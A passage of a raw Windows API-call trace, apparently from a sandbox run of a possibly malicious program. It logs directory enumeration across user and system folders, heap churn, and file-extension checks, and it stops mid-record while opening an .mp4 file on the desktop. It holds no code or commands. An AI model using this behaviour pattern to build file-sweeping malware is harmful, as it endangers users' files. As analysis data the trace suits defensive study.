lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175418 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac2c0 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cc238 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cebb8 | out: hHeap=0x5d0000) returned 1 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edd50 | out: hHeap=0x5d0000) returned 1 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3285c68 | out: hHeap=0x5d0000) returned 1 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0068.146] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cebb8 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa8) returned 0x315d2d0 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32882c0 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edd50 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac2c0 | out: hHeap=0x5d0000) returned 1 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cc238 | out: hHeap=0x5d0000) returned 1 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175418 | out: hHeap=0x5d0000) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cc238 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cebb8 | out: hHeap=0x5d0000) returned 1 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.147] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cebb8 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x328b138 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a28f8 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328b138 | out: hHeap=0x5d0000) returned 1 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cebb8 | out: hHeap=0x5d0000) returned 1 [0068.147] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2990 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfc) returned 0x327dc68 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2ac0 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac2c0 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2b58 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32882c0 | out: hHeap=0x5d0000) returned 1 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edd50 | out: hHeap=0x5d0000) returned 1 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cc238 | out: hHeap=0x5d0000) returned 1 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a28f8 | out: hHeap=0x5d0000) returned 1 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a28f8 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2990 | out: hHeap=0x5d0000) returned 1 [0068.147] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edd50 [0068.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edab0 [0068.148] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eddf8 [0068.148] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edab0 | out: hHeap=0x5d0000) returned 1 [0068.148] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edd50 | out: hHeap=0x5d0000) returned 1 [0068.148] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0068.148] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.148] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.148] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0068.148] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.148] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175418 [0068.148] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.148] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.148] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.149] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.149] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.150] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.150] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.151] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.151] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.151] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.151] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.151] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.151] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.151] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.151] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.151] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.151] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.151] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.151] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.151] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.151] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0068.151] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0068.151] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0068.151] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.151] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.151] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.151] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.151] PathFindFileNameW (pszPath="") returned="" [0068.151] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.153] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.153] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.153] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0068.153] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0068.153] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.153] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.153] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175418 | out: hHeap=0x5d0000) returned 1 [0068.153] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.153] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.153] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\") returned="K_xyj0OLm\\" [0068.153] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\") returned="xLckuuDeKXG\\" [0068.153] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0068.153] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.153] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.153] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.153] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.153] PathFindFileNameW (pszPath="") returned="" [0068.153] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1379c380, ftCreationTime.dwHighDateTime=0x1d4d51a, ftLastAccessTime.dwLowDateTime=0x8fa0a410, ftLastAccessTime.dwHighDateTime=0x1d4cbf6, ftLastWriteTime.dwLowDateTime=0x8fa0a410, ftLastWriteTime.dwHighDateTime=0x1d4cbf6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.154] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0068.154] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1379c380, ftCreationTime.dwHighDateTime=0x1d4d51a, ftLastAccessTime.dwLowDateTime=0x8fa0a410, ftLastAccessTime.dwHighDateTime=0x1d4cbf6, ftLastWriteTime.dwLowDateTime=0x8fa0a410, ftLastWriteTime.dwHighDateTime=0x1d4cbf6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.154] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e388a30, ftCreationTime.dwHighDateTime=0x1d4c5ca, ftLastAccessTime.dwLowDateTime=0xfc53b5c0, ftLastAccessTime.dwHighDateTime=0x1d4d0a6, ftLastWriteTime.dwLowDateTime=0xfc53b5c0, ftLastWriteTime.dwHighDateTime=0x1d4d0a6, nFileSizeHigh=0x0, nFileSizeLow=0x39c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1yz_dH-h0QVU25Eq5YS.mp4", cAlternateFileName="1YZ_DH~1.MP4")) returned 1 [0068.154] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\1yz_dH-h0QVU25Eq5YS.mp4") returned=".mp4" [0068.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\1yz_dH-h0QVU25Eq5YS.mp4" (normalized: "c:\\users\\5p5nrgjn0js 